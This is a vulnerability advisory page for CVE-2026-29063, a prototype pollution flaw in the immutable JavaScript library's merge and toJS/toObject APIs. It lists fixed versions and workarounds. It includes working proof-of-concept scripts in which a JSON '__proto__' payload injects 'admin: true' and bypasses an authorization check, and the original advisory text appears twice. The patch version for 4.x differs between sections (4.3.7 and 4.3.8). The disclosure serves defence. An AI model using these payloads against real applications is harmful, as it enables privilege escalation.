Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
8.3
Immutable's merge APIs can be exploited for malicious data injection
CVE-2026-29063
GHSA-wf6x-7x77-mvgw
GHSA-wf6x-7x77-mvgw
Summary
Immutable's merge APIs, used to combine data from different sources, can be exploited by attackers to inject malicious data into the resulting object. This can lead to unintended behavior or security risks. To fix this issue, update to version 3.8.3 or later, or use input validation to prevent malicious data from being injected.
What to do
- Update GitHub Actions immutable to version 5.1.5.
- Update GitHub Actions immutable to version 4.3.8.
- Update GitHub Actions immutable to version 3.8.3.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| GitHub Actions | immutable | > 5.0.0 , <= 5.1.5 | 5.1.5 |
| GitHub Actions | immutable | > 4.0.0-rc.1 , <= 4.3.8 | 4.3.8 |
| GitHub Actions | immutable | <= 3.8.3 | 3.8.3 |
Original title
Immutable is vulnerable to Prototype Pollution
Original description
## Impact
_What kind of vulnerability is it? Who is impacted?_
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
## Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)` | Same code path |
| `merge(target, source)` | Shallow variant, same assignment logic |
| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |
| `Map.toObject()` | Same `toObject()` implementation |
| `Map.mergeDeep(source)` | When source is converted to plain object |
## Patches
_Has the problem been patched? What versions should users upgrade to?_
| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)
## Proof of Concept
### PoC 1 — mergeDeep privilege escalation
```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
```
### PoC 2 — All affected APIs
```javascript
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
```
**Verified output against [email protected]:**
```
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
```
## References
_Are there any links users can visit to find out more?_
- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
_What kind of vulnerability is it? Who is impacted?_
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
## Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)` | Same code path |
| `merge(target, source)` | Shallow variant, same assignment logic |
| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |
| `Map.toObject()` | Same `toObject()` implementation |
| `Map.mergeDeep(source)` | When source is converted to plain object |
## Patches
_Has the problem been patched? What versions should users upgrade to?_
| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)
## Proof of Concept
### PoC 1 — mergeDeep privilege escalation
```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
```
### PoC 2 — All affected APIs
```javascript
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
```
**Verified output against [email protected]:**
```
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
```
## References
_Are there any links users can visit to find out more?_
- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
nvd CVSS4.0
8.7
Vulnerability type
CWE-1321
Prototype Pollution
- https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8
- https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5
- https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-...
- https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e2286...
- https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b2...
- https://github.com/immutable-js/immutable-js/issues/2178
- https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8...
- https://github.com/advisories/GHSA-wf6x-7x77-mvgw
- https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3
- https://github.com/immutable-js/immutable-js Product
- https://nvd.nist.gov/vuln/detail/CVE-2026-29063
Published: 4 Mar 2026 · Updated: 12 Mar 2026 · First seen: 6 Mar 2026